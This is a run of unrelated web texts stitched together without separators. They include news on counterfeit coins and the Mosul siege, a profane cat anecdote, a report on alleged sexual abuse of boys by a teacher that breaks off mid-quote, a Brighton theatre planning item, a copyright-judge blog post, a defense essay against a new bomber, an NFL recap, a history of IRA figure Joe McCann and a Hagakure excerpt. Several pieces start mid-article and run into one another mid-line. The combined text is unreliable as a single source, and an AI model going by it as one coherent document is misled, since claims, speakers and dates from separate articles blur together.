“The Secret Service hasn’t been a lot of help trying to stem the tide of these fakes until recently, but as they become more and more realistic, we’re starting to get a little help,” he said. “Until we get more stringent penalties for the people caught passing these and producing them and importing them, it will continue.”
Protect yourself
Buying precious coins at a flea market or from an unknown seller has always been risky — even more so now.
If you want to buy gold coins, shop at a reputable dealer — whether that’s in person or online — that’s been in business for a while. You want a company that will guarantee what they sell you and stand behind it if there is a problem.
It could be cheaper to order from an unknown source, but that could wind up costing you thousands. And if you get burned, you’ll never get your money back.
“There’s an old saying that can help buyers avoid problems: If you don’t know coins, you better know your dealer,” said Dana Samuelson of the Professional Numismatists Guild.
Herb Weisbaum is The ConsumerMan. Follow him on Facebook and Twitter or visit The ConsumerMan.Fighting between Iraqi forces and ISIL fighters has cut water supplies across a large part of Mosul, affecting 40 percent of residents in the city where poorer families are already struggling to feed themselves.
Water was cut to 650,000 people when a pipeline was hit during fighting between ISIL and the Iraqi government forces trying to crush them in their northern Iraq stronghold.
"We are facing a humanitarian catastrophe," said Hussam al-Abar, member of Mosul's Nineveh provincial council, adding that 1.5 million people were still inside Mosul.
"Basic services such as water, electricity, health, food are non-existent."
Barely more than a third of the 200,000 displaced that the UN had expected in the first few weeks of the Mosul offensive have fled their homes so far.
The lack of clean drinking water could now make it difficult for residents to remain, however.
"There is no water, we drink water from the well. It's very salty and we have to boil it before we drink it," Umm Ahraf, a 45-year-old woman, told AFP news agency in the Khadraa neighbourhood on Tuesday.
The battle for Mosul has already raged for six weeks. Iraqi commanders said around 40 percent of the eastern half of Mosul has been retaken from ISIL since the huge offensive began on October 17.
The forces have told civilians to stay at home to avoid massive displacement from the city, which was believed to have a population of a million-plus before the operation started.
Al Jazeera's Hoda Abdel-Hamid, reporting from eastern Mosul, said the city was "becoming one big urban battlefield.
"The large presence of civilians is slowing the military operations down," she said. "But among those who managed to get out of the city, there is a feeling that this offensive should have started much earlier."
READ MORE: Battle for Mosul - ISIL's innocent victims
Aid workers say a full siege is developing and fear that the longer the conflict drags on, the more civilians will suffer.
"Key informants are telling us that poor families are struggling to put sufficient food on their tables," UN Humanitarian Coordinator in Iraq, Lise Grande, told Reuters news agency.
"This is very worrying. In a worst case, we envision that families who are already in trouble in Mosul will find themselves in even more acute need. The longer it takes to liberate Mosul, the harder conditions become for families."
The capture of Mosul, ISIL's last major urban stronghold in Iraq, is seen as crucial towards dismantling the caliphate which the group declared in Iraq and Syria.
A spokesman of the coalition, US Airforce Colonel John Dorrian, said there was "a sense of urgency" to capture the city, without giving a target timeframe.
A fleeing seven-year-old child was among dozens more civilians allegedly executed by ISIL in Mosul in recent weeks, the UN said on Tuesday.
Since the battle to retake Mosul began, the UN rights office has reported hundreds of alleged execution-style killings by ISIL.
The most recent allegations include a November 22 killing of "a seven-year-old child who was running towards the Iraqi Security Forces in Adan neighbourhood in eastern Mosul".
In a November 25 incident, 27 civilians were reportedly shot dead in Mosul's northern Muhandiseen Park, possibly for "leaking information" to the Iraqi Security Forces, the UN added.
On Tuesday, Iraqi forces assaulted villages far south of Mosul in the Nineveh province, attempting to clear rural areas of ISIL fighters who stayed behind to hinder their advance.
Some 74,000 civilians have fled Mosul so far, and the UN is preparing for a worst-case scenario which foresees more than a million people made homeless as winter descends and food shortages set in.QR Code Link to This Post
I had every intention of buying a Christmas tree.This is how it started:I am home, alone, putting up ornaments in a vain attempt to feel like there is something special about December besides less bums on the street and less BO on the metro.My first tree. Smells great. Looks pretty good. I tied it to the car myself.But, it seems to be vibrating. Just slightly.I reach the center of the tree and feel fur. Now I am not a complete wimp but this is unexpected and scares the shit out of me. So I scream.And my new cat says "meow".I named him Scrooge. I think it's a him. I bought him food and a scratching post and litter and the box that comes with it and small fake mice he ignores and I am thinking maybe it will be nice to have a pet that lives longer than my plants.But he is fucking insane.He attacks me at every opportunity. People think I am suicidal due to the scratches on my forearms. I own no socks without holes. I can't sleep at night because I know that little fucker is waiting. He sits in the dark, quite and docile. Just when my breathing gets shallow and even and I begin to drift off to peaceful slumber, he attacks.My feet seem to be his nemesis. And he is relentless.He likes to wait under the couch when I get home. He waits until I have taken off my shoes and streach my weary toes before jumping out and diggin claws sharper than Gods wit into my flesh.Then he runs.And he is fast.If I am not paying enough attention he will jump to my waist and scale my body like I was Everest until he reaches my shoulder at which point he screams: "Meaow!"I love him. And I think I am going to kill him.He has unseen enemies that plauge his existance.I know because he will run around my apartment in a frenzy careening off of every possible surface. His little eyes wide. His little sphere-shaped head aware of movements in the furnature I cannot perceive. I imagine it is how I would act were you to shove a red-hot coal in my ass and blame it on everything in sight.When he is actually still long enough for me to pet him, it is only a matter of minutes before his little ears go flat and he grabs my arm. He bites and uses his rear legs to scratch my skin as if it were a lotto ticket.He is terrified of my basketball. I have no idea what great injustice a simarly looking basketball has done him in his past, but Christ, he hates that thing.And plugs. He is not afraid of the vaccume (I have no idea how you spell that) but he hates the plug that goes to the wall. I can not afford the electrical tape to satisfy his prejudice.Sometimes he just stares at me. And I wonder how he is planning my demise.If I lay on the floor and look at him, he will run full speed and colide with my head. Then he will look at me like I am an asshole and run away. Back to the safety of under my bed where he will wait until I am naked and unprotected to seek his revenge.If I try to read the paper when I am home he will attack the page. I have no idea what is going on in the world.I take a shit and he sticks his little arms under the door. He knows I shit when I get home. Its usually quiet in there and this gives me a small heart attack every time. He will run into the bathroom as soon as he hears my key in the door. I have to tease him with a treat and run to close the door before he can get in there with me. This is what I am reduced to.He is in love with my left work shoe and will defend it with passion every morning. Only the left one. I have no idea why. No other shoe precipitates such adoration from him.I do not understand this creature.But I like it when he purrs. I don't know where that sound comes from, but it's great.He is now in a vicious, losing battle with the string that pulls my window blinds. And there go my blinds. Now, I am sure, he has retreated to under my bed. Only to wait to inflict further dmage to my ravished ankles.My cat is Paranoid Scitzophrenic. He is Bipolar. Manic Depressive.Maybe he is a she. Somehow that would make so much more sense.I love that little fucker, but I think I am going to have to kill him.Or her.A South St. Paul elementary school teacher and his husband allegedly had sexual contact with eight underage boys over several years, according to police documents released Tuesday.
South St. Paul police closed their four-month investigation into teacher Aric Babbitt and Matthew Deyo last week, and the 134-page case file obtained by the Pioneer Press on Tuesday shows the scope and extent of the alleged sexual contact and inappropriate conduct.
The investigation began Aug. 14 after a 16-year-old boy and his parents went to South St. Paul police to report “an ongoing sexual relationship” with Babbitt and Deyo. The couple were found dead, an apparent murder-suicide, in Washington state eight days later. Neither man had been charged with a crime.
Although police have said previously that they suspected additional victims, the number was not clear until the case file was released.
“This is a terrible tragedy for everyone involved,” South St. Paul police Cmdr. Phil Oeffling said Tuesday. He said with the case now closed, the department would not be issuing further comment.
In addition to the eight underage boys, police also identified a man who allegedly was unknowingly videotaped nude in Babbitt and Deyo’s South St. Paul home.
The redacted case file includes victims who came forward with allegations after the investigation became public, as well as others identified through photos and videos on phones, computers and media devices that belonged to Babbitt and Deyo.
The file also paints a partial picture of what Babbitt, 40, and Deyo, 36, did in their final days.
Babbitt, a teacher at Lincoln Center Elementary since 2002, was put on paid leave by South St. Paul schools after the district learned of the allegations Aug. 17. Related Articles Family of South St. Paul teacher accused of sexual contact with boys expresses ‘grief and sadness’
Autopsy confirms murder-suicide of South St. Paul teacher, spouse
South St. Paul teacher, spouse investigated for sexual contact with boys, court documents say
South St. Paul teacher, spouse found dead in Washington state; both being investigated
DETAILS OF ABUSE
The alleged abuse happened at the married couple’s home, at Babbitt’s family cabin in Crow Wing County, at Minneapolis hotels and at Deyo’s parents’ farm south of Hastings, according to the case file report.
In many instances, Babbitt and Deyo gave their alleged victims alcohol and marijuana. They also bought phones and other devices, encouraging the alleged victims to communicate with them and to watch pornography.
The first accuser told police that Babbitt was his former elementary school teacher, volunteer work supervisor and mentor. The boy reported that Babbitt had agreed to be a mentor for him when he came out as gay to his family and that the teacher gave him gifts of underwear and yoga shorts and also asked for photos before he was 16.
The boy told police that shortly after he turned 16, Babbitt and Deyo asked to take him to a jazz concert and a hotel in Minneapolis during Memorial Day weekend, according to the case file report.
Once there, Babbitt and Deyo provided the teen with alcohol and marijuana to the point that he felt extremely intoxicated, the documents said. They did not go to the concert. Instead, all three had unprotected sex, the report states.
Babbitt and Deyo told the boy to “keep this our little secret,” according to the report.
A second boy told police that his first of many interactions with Babbitt and Deyo took place in December 2013 or early January 2014 at the couple’s home at 1312 S. Fifth Ave. The boy said they were watching movies and that “it got weird” when Babbitt and Deyo gave him marijuana and said he needed to get naked to smoke with them.
The boy told investigators he “felt numb” from the marijuana and Deyo touched his private parts.
Another boy told investigators that Babbitt and Deyo took him and his friend to Babbitt’s family cabin, where they drank alcohol, smoked marijuana and swam naked in the lake. The boy said he witnessed Babbitt and Deyo touching his friend inappropriately.
During its investigation, the Dakota County Electronic Crimes Unit discovered that other boys were videotaped in the bathroom at the couple’s home, footage that was captured by a camera hidden in a bathroom clock.
Babbitt and Deyo told the 16-year-old to “keep this |
Members voted through the blueprints and also relaxed suggested restrictions.
As a result the venue will be able to operate up to 10pm Monday to Saturday and to 6pm on Sunday.
It will also be able to operate up to six days a week.
Planning officers had previously suggested the venue should close at 9.30pm and limited to just three performance a week.
Writer and producer Adrian Bunting, who died of cancer aged 47 in May last year, was the driving force behind the theatre.
Steve Turner, of Boat, had argued before the meeting that restricting finishing times to 9.30pm would prevent them from putting on certain performances.
The theatre will be funded by £20,000 left in Mr Bunting’s will and another £30,000 the charity has raised.
They will dig up a disused bowling green to create an auditorium capable of hosting 425 spectators.
Building could begin early next year in time for the Brighton Festival in May.
Members of Boat were unavailable to comment as they were celebrating in the pub.
A post on their Facebook said: “Success!!!! All but one relatively minor conditions waived. Thank you Brighton and Hove planning committee. We're off for a pint. Come and join us!”Judge Backpedals On Allowing Mass Infringement Lawsuits After Press Calls Attention To Her RIAA Lobbying Past
from the nicely-done dept
There was a lot of attention paid to Judge Beryl Howell's decision to allow some mass copyright infringement lawsuits to move forward with all the defendants lumped together (and her bizarre claim that this was to benefit the defendants). Soon after that, it came out that Howell had very recently been an RIAA lobbyist, which certainly called her objectivity on such cases into question. Even though neither of the cases she was working on involved the RIAA, the issues were clearly quite similar, and such a ruling would obviously benefit the RIAA should it decide to start suing people again. However, as many people submitted, Judge Howell appears to be backpedaling on those initial rulings and it may lead to the dismissal of most of the cases against the defendants listed. It's definitely speculation at this point, but people are wondering if the attention brought over her initial rulings may have resulted in these latest rulings. One key point is whether or not Howell recognized how these lawsuits really worked, and how they appeared to be more of a way to use the legal system to get people to pay up as part of a business model, rather than a real legal remedy. Perhaps drawing more attention to that resulted in her correcting her earlier ruling.
Filed Under: beryl howell, copyright, infringement, mass lawsuitsPolitical leaders in the United States need to start a serious conversation about alternatives for new long-range strike capability. Unfortunately, to date, the vast majority of those who are speaking have already decided that the solution is a new manned aircraft—in particular the proposed Air Force Long Range Strike-Bomber (LRS-B). Writing in The National Interest, Representatives J. Randy Forbes and Chris Stewart argued that Congress must push for rapid development of the Air Force LRS-B. They state this effort is essential to ensure the United States can pursue more mobile targets deep in Chinese or Iranian territory. Robert Martinage recently proposed the Pentagon “accelerate development and expand procurement of the LRS-B” and add the mission of “stand-off precision attack” to the bomber’s capabilities.
Before we jump on the bandwagon of the LRS-B, we should consider its ability to execute the planned missions, its procurement timeline, its cost, and then potential alternatives.
Mission
The requirement for a long-range strike capability in the era of increasingly effective anti-access weapons systems is clear. It is less clear that this capability requires a manned aircraft. Proponents argue that the United States must be able to “contend with more mobile sets of targets,” “hold targets at risk,” and finally, “to hit hardened and deeply buried targets.” Let’s consider each in turn.
The idea that a manned aircraft will be able to strike mobile targets is deeply flawed. We need only look back to Operation Desert Storm to see why. According to a RAND’s Special Operations Force and Elusive Enemy Ground Targets, the coalition air forces saw 42 Scud launches but could only get into position to drop ordnance eight times. The author noted that the commercial vehicles on the highways provided significant background clutter that made the Scuds hard to target. However, the British Special Air Services reported that actual launches could be seen by ground observers from 30 miles away. In addition, Allied forces had absolute air supremacy as well as hundreds of aircraft that could range freely over the entire country. Despite all these advantages, the Gulf War Air Power Survey concluded, “There is no indisputable proof that Scud mobile launchers—as opposed to high-fidelity decoys, trucks or other objects with Scud-like signature—were destroyed by fixed-wing aircraft.” They failed to get a single confirmed kill despite the fact it took 30 minutes to erect, fuel, and launch a liquid-fueled Scud.
While technology has advanced greatly in the last 20 years, hunting mobile missiles remains a time/distance problem. Hunting mobile systems in China presents a much more complex problem than hunting Scuds in Iraq. First, the Chinese systems are solid–fueled so can be erected and launched in under 10 minutes. Second, the range of these systems is greater and thus the launch sites can be spread over a much greater geographic region. Third, the terrain in China is much more complex. Solid-fueled systems can be hidden in garages, camouflaged as commercial vehicles, or even simply parked under tents and prepared to fire. The vehicle has to appear only a few minutes before actual launch. To “contend” with this set of mobile targets, the United States would have to maintain enough aircraft in the contested airspace of China to detect, classify, and attack a missile system anywhere within thousands of square miles of complex terrain in a matter of minutes. That brings us to the final point. China has a sophisticated, integrated air-defense system. Proponents have never been clear how a large manned bomber will survive while orbiting in daylight in heavily defended Chinese airspace. Or do we assume the Chinese will be polite enough only to launch at night when they have to rely on their steadily increasing ability to see stealth platforms? In short, the idea a manned stealth platform is necessary to deal with mobile targets in China defies logic. Even against mobile targets in Iran, the number of platforms required to observe, identify, target, and hit a mobile system in less than 10 minutes is very large—well beyond any U.S. defense budget we can envision these days.
The second critical mission—to hold targets at risk—seems to apply to stationary targets which are to be engaged with by stand-off precision attack. Commander Phil Pournelle has written
In the case of the air-launched weapons, the aircraft is just a truck; neither the aircraft nor the pilot has any role in guiding the weapon to the target after release. In fact, the aircraft must release its weapons and run away to survive in the face of advanced air-defense systems.
He rightly questions whether a manned aircraft is the most effective way to attack targets. An obvious alternative is a cruise missile. Currently, the range of such systems is limited by the 1987 Intermediate-Range Nuclear Forces Treaty between the Soviet Union and the United States. However, the U.S. government stated that Russia has violated that treaty. In light of Russia’s action and the changing strategic situation in the Pacific, should the United States unilaterally restrict its development of long-range cruise missiles? Further, the convergence of new technologies (e.g., nano, materials, energetics, information, additive manufacturing) should provide major improvements in the range and destructive power of cruise missiles and drones in the next decade. The United States must not deny itself these increasingly powerful weapons if other major powers refuse to do the same.
The third mission—striking hardened or deeply buried targets is also about the weapon delivered and not the platform delivering it. The primary rationale for using a bomber for this mission is the weight of the payload necessary to penetrate the target. However, this assumes the best way to attack such a target is to strike its center. Since deeply buried or hardened targets are usually command and control facilities or special weapons, the mission can also be accomplished by sealing the assets in and cutting communications between them and the outside world. In short, there are different—and perhaps less expensive—ways with a higher probability of success than direct attack. After all, Cheyenne Mountain and Kosvinsky Mountain were built to withstand nuclear attack. These purpose-built facilities can be augmented by installing military facilities in working or abandoned deep mines, which can include a network of tunnels that go miles deep into a mountain. Against this type of target a pattern of smaller, smart weapons targeted at the communications and support nodes essential to the operation of these facilities makes better sense.
Procurement timelines mean increasing vulnerability
Procurement timelines must be part of the discussion. While the planned LRS-B might do well against today’s defensive systems, the real question is how it will do against the systems that will exist when it reaches operational capability. In 2008, General John Corley, then Chief of Air Combat Command, stated a manned bomber could be available in 2018—a 10-year development and production cycle. The Air Force does not agree. Today, the U.S. Air Force projects an initial operational capability for the LRS-B of 2030. (It also plans to extend the operational lives of the B-52 and B-1 out to 2040 and the B-2 out to 2058.) This is in keeping with the timeline for the B-2. The B-2 started as the Advanced Technology Bomber in 1979 and reached initial operational capability on 1 January 1997 and Full Operational Capability on December 17, 2003—or about 23 years after serious development commenced. However, the F-35 has taken much longer. According to the F-35 program’s website, the F-35 aircraft had its origins in “several programs from the 1980s and early 1990s.” The first squadron will not achieve initial operating capability until July 2015 or about 25 years after the program’s origins. However, as of the end of October 2014, the Pentagon’s Acquisition Chief Frank Kendall doubted it will make the July 2015 date. His skepticism seems to be supported by continuing reports of software problems. Critics think key components of the software will not be operational until 2019.
Even if the United States meets the Initial Operational Capability of 2030 for LRS-B, one has to question the viability of stealth at that point. Defense News carried a story in November 2014 showing a new radar China claims defeats stealth. In addition, the continuing development of “passive coherent location” systems provide another possible method for detecting stealthy aircraft. The high probability that stealthy aircraft can be seen and intercepted within the next decades makes the decision to focus on a few, exquisite, but extremely costly systems questionable at best.
And given the steady increase in range of unmanned, autonomous systems, China has the option of using precision weapons to attack our very small bomber fleet on the ground at its home station. In 2003, a hobbyist flew a drone across the Atlantic. Today commercial companies do so routinely. We have to assume China will be able to reach U.S. bases with small, hard to detect, autonomous drones by 2030.
Cost
In 2012, Air Force Chief of Staff General Norman Schwartz projected a cost of $550M per aircraft for B-3s. Schwartz’s cost estimate per aircraft did not include development costs. Tom Christie, the Pentagon’s Chief Weapons tester from 2001 until his retirement in 2005, is skeptical. He thinks $2B per aircraft is a more accurate estimate. Interestingly, a 1997 GAO report showed while initial estimates for the B-2 were $456M in 1997 dollars, the actual cost was $2.1B per aircraft in 1997 dollars. Given the long-term trend that shows replacement aircraft cost much more than the version they are replacing, a reasonable argument can be made that the LRS-B will cost up to $3B per aircraft. And of course, we should include the extremely high operating cost of stealthy manned systems. According to U.S. Air Force data, the B-2 costs $164,000 per flight hour to operate. Despite frequent promises to the contrary, new aircraft hourly operating costs have consistently been higher than the aircraft they replaced.
Small, smart, and many – a different approach
The high probability that declining defense procurement budgets combined with rapidly escalating procurement and personnel costs will both delay the LRS-B and reduce the total number purchased should lead a prudent planner to consider other possible ways to accomplish the LRS-B missions. The convergence of several new technologies will make small, smart, long-range, powerful, and smart missiles and drones a reality.
The 2012 Pentagon budget shows Tactical Tomahawks costs $1.1M per Tactical Tomahawk for a buy of only 196 missiles. The variant currently being purchased for the Navy features allows the controller to switch targets during flight to pre-programmed alternate targets or redirect it to a new target. It can also loiter over the battlefield, while waiting for a more critical target The missile carries a 1,000-pound warhead and can be fired by a variety of surface and submarine platforms.
Older model Tomahawks are about $600,000 each at low rate production. If one assumes it is possible to reduce the price by 16 percent by going to high rate production, a single B-3 would pay for 4,000 Tomahawks. This is if you think we will get the next generation bomber for less than the last generation bomber. Given the historical record of bomber costs, it is more reasonable to assume we will pay at least 50 percent more per aircraft for the new generation. Thus we could buy 6,000 Tomahawks for the price of a single B-2.
And of course, we will not be purchasing Tomahawks but a descendent that uses the exceptional advances in nano-energetics (read explosives), fuel efficiencies, materials, manufacturing processes, and artificial intelligence to provide significantly greater range, accuracy, and destructive power.
In 2002, scientists were reporting that nano-energetic materials were producing twice the explosive power of TNT for the same weight. The explosive capabilities of newer materials remains classified but even the doubling of explosive power has a militarily significant impact for cruise missiles. In addition, additive manufacturing is going to dramatically reduce the cost of production in many fields. While it is highly unlikely it could radically reduce the price of an LRS-B, the much simpler production needed for a TLAM replacement should be subject to dramatic cost reductions. In November 2013, the USC School of Engineering revealed a method for 3D-printing multi-material objects in minutes instead of hours. Mark Valerio, vice president and general manager of military space for Lockheed, has suggested that a satellite manufactured using AM will cost 40 percent less than current models.
Clearly if one can make a very large object like a bomber stealthy, one should be able to do so with a much smaller missile. And of course the fact that one can launch thousands of missiles for the cost of a single bomber greatly complicates the efforts of the defense. Given projected defense budgets, it is imperative the United States gets on the right side of the cost curve in its competition with China. Rather than allowing China to focus its defense on a few bombers, we can force it to defend its entire perimeter against potential swarms of missiles.
In fact, a cruise missile may not be the right system to perform the stated missions of a manned bomber. It may be that other forms of autonomous drones will be a better choice. The key point is that we need to explore these options. Putting more money into the manned bomber is much like the Navy’s efforts to improve the battleship post-WWI. Due to massive investments, the Navy doubled the effective range of the battleships guns, made it faster, and better protected with a longer cruise radius. Yet, by WWII, the battleship was largely irrelevant to the outcome of the Pacific naval battles. It had been superseded by the small, smart, and cheap systems of its era—aircraft. Just as Japan felt it could reach out and destroy our few battleships in their home ports, China may feel it can eliminate our few bombers on the ground. In contrast, they will know they cannot destroy thousands of cruise missiles or drones that can operate from a wide variety of platforms and locations.
The Political Problem
It is essential we start this conversation now. The Pentagon has already invested major funds in the LRS-B program: $258.7M in FY-13, $500M in FY-14, and proposed almost $1B in FY-15. The Air Force plans to award the bomber contract to a single build team in early 2015. On 27 January 2015, Boeing held a reception on Capitol Hill “to provide congressional staff an update on current efforts to maintain and modernize the Air Force bomber fleet.” The last few decades have shown how difficult it is to stop a program of record, particularly when it is being built in a majority of Congressional districts. The B-1, B-2, and F-35 programs demonstrated the political value of a wide distribution of contracts. In fact, one of the key lessons defense companies have taken away from the last couple of decades is that any major program must distribute sub-contracts widely to insure the program is not cancelled.
Business Insider has provided an excellent map showing the economic impact of the F-35. The fact that 18 states draw more than $100M in benefits from the F-35 and only four do not have any contracts shows the impressive political power Lockheed has built to support the program. While distributing sub-contracts to as many Congressional districts as possible provides political protection for defense programs, the practice obviously makes it more difficult to actually build the system. Unfortunately, it makes it even more difficult to kill it. If we fail to have a serious discussion concerning the need for a new long-range bomber soon, whichever company wins the contract for the LRS-B will develop a map that looks a lot like the one for the F-35. Then, it will simply be too late to consider alternatives—no matter their merits relative to the LRS-B.
T.X. Hammes is a Distinguished Research Fellow at the U.S. National Defense University. The views expressed here are solely his own and do not reflect the views of the U.S. government, Department of Defense, or the National Defense University.ATLANTA -- The Carolina Panthers' big-play defense appears capable of making a difference in the playoffs -- even for a team with a losing record.
Roman Harper and Tre Boston returned interceptions for touchdowns and Carolina recorded six sacks, leading the Panthers to a 34-3 victory over the Atlanta Falcons on Sunday to win the woeful NFC South.
Carolina (7-8-1) will host Arizona in a wild-card playoff game next Saturday. The losing record didn't keep the Panthers from celebrating their first back-to-back playoff seasons in franchise history.
Editor's Picks Newton: Euphoric Panthers headed to playoffs Yes, they have a losing record -- but they haven't lost in a month. The Panthers know they have an opportunity to do something special in the playoffs, David Newton writes.
McClure: Time for Falcons' sweeping changes Falcons coach Mike Smith defiantly tried to squash any speculation about his future, although the dots have all but been connected. It's time for a change, Vaughn McClure writes. 1 Related
"It feels great," Carolina running back Jonathan Stewart said. "I mean, it's a blessing and you just have to cherish these moments right now.... We just believed and played our hearts out and this is where we are."
The Panthers have won four straight, but still they are the first team to enter the playoffs with a losing record since 2010, when Seattle was 7-9.
"The beautiful thing -- record doesn't matter," coach Ron Rivera said. "That's the best part."
Harper scored on a 31-yard return in the second quarter and Boston clinched the win with his 84-yard interception return late in the third quarter. A 33-yard fumble return by Thomas Davis set up another touchdown.
"It was a great defensive effort," Rivera said.
The Panthers' celebration began with their final timeout with 2:41 remaining. Quarterback Cam Newton lifted his arms toward Carolina fans who moved close to the field to claim seats vacated by Falcons fans.
After the game, Newton answered fans who called his name by running back to the edge of the stands to give fans high-fives.
Newton completed 10 of 16 passes for 114 yards, including a 5-yard touchdown pass to Ed Dickson in the first quarter. Newton also had a 4-yard scoring run. Stewart ran for 49 yards on 13 carries.
The Panthers did not have a turnover.
The Falcons (6-10) were booed as they finished their second straight losing season under embattled coach Mike Smith. Atlanta is 10-22 since falling to San Francisco in the 2012 NFC Championship Game.
Smith acknowledged the results have not met the standards he set with winning records in each of his first five years.
"This is a business about winning football games, and that's how you're judged," Smith said. "I understand that, and I'll leave it at that.... This is a business about what have you done for me lately."
With a playoff spot -- and perhaps Smith's future -- on the line, the Falcons committed three turnovers, did not force a turnover and were held without a touchdown.
Atlanta's best chance for a touchdown ended when fullback Patrick DiMarco was open in front of the goal line in the first quarter but dropped a short pass from Matt Ryan.
Smith said he was "very disappointed" and called the performance "not acceptable at all."
Carolina dominated the first quarter, running for 105 yards and holding the ball almost 12 minutes. The Panthers led only 10-3 before the defense stretched the lead with Harper's interception return on Ryan's pass intended for Roddy White.
On Atlanta's next possession, White fumbled following a catch when hit by linebacker Adarius Glanton. Davis picked up the loose ball and returned the ball to the Atlanta 9. Newton's touchdown run pushed the lead to 24-3.
Boston added his long return late in the third quarter.
With star receiver Julio Jones contained by cornerback Josh Norman, Ryan couldn't move the Falcons offense. Ryan completed 29 of 47 passes for 260 yards with two interceptions. Jones had only four catches for 58 yards. White had eight catches for 104 yards.
Falcons starting running back Steven Jackson was inactive with a quadriceps injury. Jacquizz Rodgers and Devonta Freeman combined to run for only 57 yards.
The Panthers improved to 15-3 in December games since Rivera was hired in 2011.
It was a familiar setting for Newton and the Panthers, who also clinched their 2013 playoff berth with a Week 17 win at Atlanta. The Panthers had nine sacks in that 21-20 win, and the pass rush was similarly effective on Sunday.
Game notes
Panthers RB DeAngelo Williams (broken hand) was inactive.... Falcons safeties Dwight Lowery (knee) and Kemal Ishmael (hamstring) left the game. Ishmael started for William Moore, who was placed on IR with a shoulder injury this week.... Panthers DE Charles Johnson, a former University of Georgia star, had a sack in his fifth straight game at the Georgia Dome.... The Falcons took their first loss of the season against a NFC South opponent.‘The Che Guevara of the IRA’: the legend of ‘Big Joe’ McCann
Published in Features
If, before the death of Bobby Sands in 1981, there was a name most likely to survive in the popular memory of ‘the Troubles’—to join the ranks of Kevin Barry and Seán South—it was ‘Big Joe’ McCann. There were a number of reasons. First, the local legend that flourished after he was gunned down on the streets of Belfast grew out of the reputation he achieved in life. McCann, who joined the Republican movement as a teenager in 1963, was known both for his physical bravado and for his quick intelligence. Stories circulated of his exploits during the set-piece Official IRA gun-battles during the Falls Road curfew in July 1970 and at Inglis’s bakery in the Markets district of south Belfast in August the following year. Staff captain of the 2nd Battalion of the Belfast Brigade and ‘on the run’, the 24-year-old McCann was reputedly the most wanted man in the North when he was killed by British Paratroopers on 15 April 1972. The tributes paid to him by his comrades at the time—‘a born leader’ according to The United Irishman—were to be expected. More revealing are the recollections, decades later, of two Dublin journalists of the deep impression that ‘Big Joe’ made upon each of them. Kevin Myers writes of his good looks, charisma, innate wisdom, gravitas and ‘curiously ironic and knowing sense of humour’. Pádraig Yeates remembers ‘an incredible character, the only genuine hero I ever met out of the Northern troubles’.
Then there is the manner of his killing. As he ran away from a foot patrol after being fingered by a Special Branch officer, pursuing Paratroopers opened fire. Initial reports claimed that McCann was shot repeatedly while lying wounded on the pavement. The shooting was followed by three days and nights of widespread rioting in which three British soldiers were killed—one in Belfast, two in Derry. Armed and uniformed Official IRA men patrolled the Turf Lodge housing estate. From prison the UVF leader, Gusty Spence, wrote a letter of condolence to McCann’s widow: ‘He was a soldier of the Republic and I a Volunteer of Ulster and we made no apology for what we are... Joe once did a good turn indirectly and I never forgot him for his humanity’.
The full-scale military-style funeral was the largest seen in Belfast to that date. Led by a lone piper and McCann’s Irish wolfhound, over 200 women carried wreaths and over 2,000 men marched behind. Up to 20,000 people lined the route. Well-known politicians such as Paddy Devlin, Paddy O’Hanlon and Bernadette Devlin attended. Official IRA chief-of-staff Cathal Goulding delivered the graveside oration. The British prime minister, Edward Heath, wanted to know why arrests had not been made, while the secretary of state for Northern Ireland, William Whitelaw, conceded that killing McCann had made ‘a martyr of him’. Time magazine thought so too, and speculated that the shooting and the consequent street violence had scuppered all hope of Catholics accommodating themselves to the new direct rule, Stormont-less, regime.
But there had been (and would be) numerous republicans shot by the security forces in controversial circumstances. Plenty of others have, like McCann, been commemorated in ballads. And since the 1790s large, stage-managed funerals-as-political-demonstrations have been a staple of republican mobilisation. The crucial reason for McCann’s posthumous local fame is a photograph (in fact two photographs shot in rapid succession by Ciaran Donnelly). In the early hours of 9 August 1971, British troops swept through nationalist areas of the North rounding up republican suspects for internment without trial, and touching off some of the worst violence of the Troubles. On 10 August a group of six Official IRA volunteers, led by McCann, took over Inglis’s Eliza Street bakery in the Official stronghold of the Markets, and in a fierce firefight pinned down a large contingent of British soldiers. During the exchange a photographer captured the profile of McCann in silhouette, hunkered down, an M1 carbine resting on his knee, a Starry Plough flag fluttering above him and a truck-barricade blazing before him.
It is an image so dramatic and so visually striking that it seems almost composed. The print media snapped it up. It first appeared in the Daily Mirror and later received much wider, transatlantic, circulation in a photo-spread in Life Magazine (it did not, however, as has been claimed, feature on the cover). Life’s commentary certainly burnished the legend:
‘At right, crouched beneath the Irish Republican tricolor [sic], a professional IRA terrorist who goes by the name of Joe awaits a counterattack by British infantry during the battle of Eliza Street. “Joe was a tall, thin man who moved only in leaps and crouches”, reports Life correspondent Jordan Bonfante, who with photographer Terence Spencer covered the fighting last week. “He was an absolute hero to his men, mostly neighborhood irregulars, and as he directed them with grunts and waves of the American semi-automatic carbine he carried in one hand he looked as though all Ireland were at stake on Eliza Street.” For twelve hours before being surrounded and broken up, Joe and his men had effective control of the whole downtown market area in east [sic] Belfast.’
The September issue of The United Irishman displayed the picture on its front page, headlined ‘Army of the People’. The Provisionals’ An Phoblacht also ran it. Weeks after his death The United Irishman referred to ‘the now world-famous picture of Joe McCann’, which ‘far more than words epitomised the courage of the man’. A poster based on the picture proclaimed ‘Joe McCann, Soldier of the People’. In his book Colours, from bombs to boom Henry McDonald compares a U2 album cover, Under A Blood Red Sky, to the McCann photograph. But while there are conspicuous similarities, there is no evidence that any member of the band was aware of them. McDonald himself had the silhouette skilfully stitched into the montage on the dust-jacket of his own book, and most recently the picture shows up unadorned on the front of Seán Swan’s Official Republicanism, 1962 to 1972.
When Jim Campbell eulogised McCann in the Sunday News as ‘the Che Guevara of the IRA’ he exaggerated. Yet there is at least one similarity. Che bequeathed an iconic image to the revolutionary chic everywhere and to student dorm walls across the world; for a while, and on a smaller scale, ‘Big Joe’ McCann did the same for Official republicanism and its adherents. HI
John Mulqueen is a postgraduate history student at Trinity College, Dublin; Jim Smyth is Professor of History at the University of Notre Dame.It is told in the Hagakure: The Book of the Samurai
At the time of the attack on the castle at Shimabara, Tazaki Geki was wearing very resplendent armor. Lord Katsuhige was not pleased by this, and after that every time he saw something showy he would say, “That’s just like Geki’s armor.” In the light of this story, military armor and equipment that are showy can be seen as being weak and having no strength. By them one can see through the wearer’s heart.
